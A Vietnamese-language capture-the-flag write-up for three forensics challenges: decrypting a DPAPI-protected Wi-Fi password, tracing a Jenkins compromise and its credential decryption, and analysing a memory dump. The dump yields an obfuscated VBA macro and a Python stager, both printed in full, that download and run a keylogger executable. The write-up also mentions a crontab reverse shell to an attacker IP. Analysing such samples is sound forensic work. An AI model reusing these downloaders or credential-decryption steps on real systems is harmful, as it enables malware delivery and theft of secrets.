# L3AKCTF 2024 Writeup
## Forensics
### AiR

Chúng ta được cho một folder C nên vì thế đây là một dạng endpoint forensics. Dựa vào đề bài, ta cần tìm password mà máy tính author kết nối.
Làm một chút research, ta thấy rằng khi một mạng wifi được kết nối với máy tính, thông tin bao gồm password, tên wifi,... sẽ được lưu ở ```C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces[Interface Guid]```
Tuy nhiên mật khẩu (KeyMaterial) đã bị mã hóa nằm ở trong file xml

Sau một thời gian nghiên cứu, mình biết rằng nó được mã hóa bằng Data Protection API (DPAPI) của Windows.

Như ở sơ đồ trên, ta thấy rằng để decrypt thì ta cần User's master key nằm ở folder ```%APPDATA%/\Roaming\Microsoft/Protect/``` và System's master key nằm ở folder ```%WINDIR%/System32/Microsoft/Protect```
Ta sẽ sử dụng [tool](https://github.com/tijldeneut/dpapilab-ng/blob/main/wifidec.py) để decrypt nếu có đầy đủ các folder chứa master key ở trên.
```
C:\Users\tamin\Downloads>python wifidec.py --system D:\C\Windows\System32\config\SYSTEM --security D:\C\Windows\System32\config\SECURITY --masterkey D:\C\Windows\System32\Microsoft\Protect\S-1-5-18\User D:\C\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces
```

> Flag : L3AK{BL0b_D3crypt1n9_1s_n0_n3w_t0_u_r1ght?}
### Impostor

Chúng ta có một file pcap và một file auth.log

Cùng phân tích file pcap trước. Sử dụng Protocal Hierachy ta thấy có 3 protocal chính : TCP, Websocket và HTTP

Ở tcp stream 0, ta thấy có một request với tên là jenkins-cli.jar

Mình tìm hiểu sơ qua thì Jenkins là một open-source được viết bởi Java có các tác vụ hỗ trợ tự động hóa.
Ở tcp stream 1, ta thấy một response trả về giống như nội dung trong file etc/passwd

Mình chuyển qua follow Websocket vì websocket dựa trên tcp cho chúng ta biết nội dung truyền tải giữa client và server một cách liên tục
Đúng như dự đoán, attacker đang đọc nội dung file etc/passwd

Tiếp tục follow websocket, ta thấy một request gì đó liên quan đến masterkey

Tiếp tục follow, ta thấy có một response trả về file credentials.xml

Vậy ta có thể hình dung sơ qua kịch bản như sau. Attacker đã RCE thành công vào server của victim thông qua Jenkins, sau đó đọc etc/passwd, ```/var/lib/jenkins/secrets/master.key``` và ```/var/lib/jenkins/credentials.xml```
Ở trong file credentials.xml này, có phần khá sus nên nghĩ rằng nếu decode được nó ra thì có thể sẽ biết được gì đó xD

Lên google thì biết rằng để decrypt nội dung trong ```/var/lib/jenkins/credentials.xml``` ta cần có master.key và ```/var/lib/jenkins/secrets/hudson.util.Secret```, sau đó thì dùng [tool](https://github.com/tarvitz/jenkins-utils) này để decrypt
Masterkey đã có rồi, giờ ta cần tìm hudson.util.Secret thôi.
Follow nốt websocket stream, ta thấy part 1 của flag

> Part 1 : 1s_0n_3dg
Ở tcp stream 55, ta thấy một đoạn base64 khá sus

Tuy nhiên decode ra thì ra một đoạn text gì đó

Sau khi google một hồi thì mình biết được rằng file ```/var/lib/jenkins/secrets/hudson.util.Secret``` trong Jenkins không thể đọc được dưới dạng văn bản thông thường vì nó chứa một khóa bí mật (secret key) được mã hóa. Vì vậy rất có khả năng đây là file đó nên mình sẽ note nó lại.
Giờ qua mở file auth.log xem có gì hot
Sau khi lướt qua một lượt, mình thấy rằng có một điểm khá sus. Có vẻ attacker đang cố bruteforce vào user sparkle

Nhưng sau một thời gian, thì cuối cùng attacker cũng đã login được vào user này
Ở đây chúng ta có thể thấy khá rõ attacker đang đọc file hudson.util.Secret ở dạng base64, sau đó curl một file data.bin ở base58 và thực thi nó

Follow tiếp tcp stream và ta có được nội dung file data.bin. Decode base58 thì ra một cron json


Ta có thể thấy script bash này đang sử dụng cron tab để reverse shell đến ip 192.168.222.151/1337
Decode cron_name ta được flag thứ 2
> Part 2 : E_30d84d801b2947f1bd2faae4fdcbb926}

Vì đã có masterkey và hudson secret. Ta sử dụng tool để decrypt thôi

```C:\Users\tamin\OneDrive\Máy tính\jenkins-utils-master\jenkins-utils-master>python invoke.py --master-key master.key --hudson-secret-key hudson.util.Secret --action decrypt "{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}"```
Decode base64 ta ra flag
> FLAG : L3AK{J3nk1n$_1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}
### The Spy

Ở bài này, sử dụng volatility3 để phân tích memory dump. Sử dụng pslist để kiểm tra sơ bộ.
Mình thấy có process khá lạ với tên là Soffice.bin

Dump process và đem lên virustotal, đây là một process của Libreoffice
Sử dụng filescan plugin để grep các file .doc, mình thấy có một file .doc khá khả nghi

Dump file này ra rồi sử dụng olevba để kiểm tra thì có macro
```python
Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _
ByVal b1BbQ As LongPtr, _
ByVal c1CcQ As String, _
ByVal d1DdQ As String, _
ByVal e1EeQ As Long, _
ByVal f1FfQ As LongPtr) As Long
Public Function b1BbR(c1CcR As String) As String
Dim d1DdR As Integer
Dim e1EeR As Integer
Dim f1FfR As String
If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function
d1DdR = Len(c1CcR)
For e1EeR = 1 To Len(c1CcR)
If e1EeR Mod 2 <> 0 Then
f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2)))
End If
Next
b1BbR = f1FfR
End Function
Sub c1CcS()
Dim d1DdS As String
Dim e1EeS As String
Dim f1FfS As String
Dim g1GgS As String
Dim h1HhS As Long
Dim username As String
username = Environ("USERNAME")
d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"
e1EeS = j2JjS(d1DdS)
f1FfS = b1BbR(e1EeS)
g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py"
h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)
If h1HhS = 0 Then
MsgBox "File downloaded successfully.", vbInformation
' Run the Python script
RunPython
Else
MsgBox "Failed to download file.", vbExclamation
End If
End Sub
Function j2JjS(k2KkS As String) As String
Dim l2LlS As String
Dim m2MmS As Integer
For m2MmS = 1 To Len(k2KkS)
Select Case Asc(Mid(k2KkS, m2MmS, 1))
Case 65 To 77, 97 To 109
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)
Case 78 To 90, 110 To 122
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)
Case Else
l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1)
End Select
Next m2MmS
j2JjS = l2LlS
End Function
Sub RunPython()
Dim PythonExe As String
Dim PythonScript As String
Dim Command As String
Dim username As String
username = Environ("USERNAME")
PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe"
PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py"
Command = PythonExe & " " & PythonScript
Shell Command, vbNormalFocus
End Sub
```
Đọc qua thì ta biết có vẻ nó đang download và giải mã để tạo ra file pp.py và thực thi nó
Viết một đoạn script python để extract file pp.py
```python
import requests
def rot13(s):
result = []
for char in s:
if 'A' <= char <= 'M' or 'a' <= char <= 'm':
result.append(chr(ord(char) + 13))
elif 'N' <= char <= 'Z' or 'n' <= char <= 'z':
result.append(chr(ord(char) - 13))
else:
result.append(char)
return ''.join(result)
def hex_to_ascii(hex_string):
bytes_object = bytes.fromhex(hex_string)
return bytes_object.decode('ascii')
# Chuỗi đã mã hóa
encoded_string = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"
# Giải mã sử dụng ROT13
decoded_rot13 = rot13(encoded_string)
# Loại bỏ các ký tự không hợp lệ cho chuỗi hex
clean_hex = ''.join([c for c in decoded_rot13 if c in '0123456789abcdefABCDEF'])
# Chuyển đổi từ chuỗi hex thành chuỗi ASCII (URL)
url = hex_to_ascii(clean_hex)
response = requests.get(url)
if response.status_code == 200:
content = response.content
with open("pp.py", "wb") as file:
file.write(content)
print("lưu pp.py")
```
Mở file pp.py lên ta được script python sau:
```python
import os
import requests
def download_file_from_google_drive(file_id, destination):
URL = "https://docs.google.com/uc?export=download"
session = requests.Session()
response = session.get(URL, params={'id': file_id}, stream=True)
token = get_confirm_token(response)
if token:
params = {'id': file_id, 'confirm': token}
response = session.get(URL, params=params, stream=True)
save_response_content(response, destination)
def get_confirm_token(response):
for key, value in response.cookies.items():
if key.startswith('download_warning'):
return value
return None
def save_response_content(response, destination):
CHUNK_SIZE = 32768
with open(destination, "wb") as f:
for chunk in response.iter_content(CHUNK_SIZE):
if chunk:
f.write(chunk)
def hex_to_binary(hex_str):
return bytes.fromhex(hex_str)
def save_binary_to_file(binary_data, file_path):
with open(file_path, 'wb') as file:
file.write(binary_data)
def reverse_hex_conversion(file_path, output_file):
with open(file_path, 'r') as file:
hex_content = file.read().strip()
binary_data = hex_to_binary(hex_content)
save_binary_to_file(binary_data, output_file)
def run_retrieved_file(file_path):
os.system(file_path)
if __name__ == "__main__":
# Download the file and save it as file_hex.txt
file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
input_file = "file_hex.txt"
download_file_from_google_drive(file_id, input_file)
# Convert hex to binary and save it as L3AK.exe
output_file = "L3AK.exe"
reverse_hex_conversion(input_file, output_file)
# Execute the retrieved file
print("File retrieved and executed as L3AK.exe")
```
Cùng phân tích qua một chút, hàm download_file_from_google_drive nhận 2 tham số truyền vào là file_id và destination
Trở lại hàm run_retrieved_file, ta thấy rằng nó gọi hàm download_file_from_google_drive với 2 parameters là file_id và input_file với :
> file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
input_file = "file_hex.txt"
file_id nhìn rất giống với phần url id của drive.google.com nên mình paste thử thì ra một đoạn hex


Có đủ 2 tham số rồi ta sẽ tạo ra được một file L3AK.exe
Sử dụng pyinstxtractor để reverse file python này, ta được file keylogger.pyc

Tuy nhiên khi mình ném lên decompiler online thì không thể decrypt được file pyc này ??? Khá khó hiểu nên mình thử strings thì thấy một link webhook cùng một đoạn base64

Decode đoạn base64, ta có một url tới channel discord, flag nằm ở trong channel luôn

> Flag : L3AK{D1sc0rd_WebH00ks_4re_C001}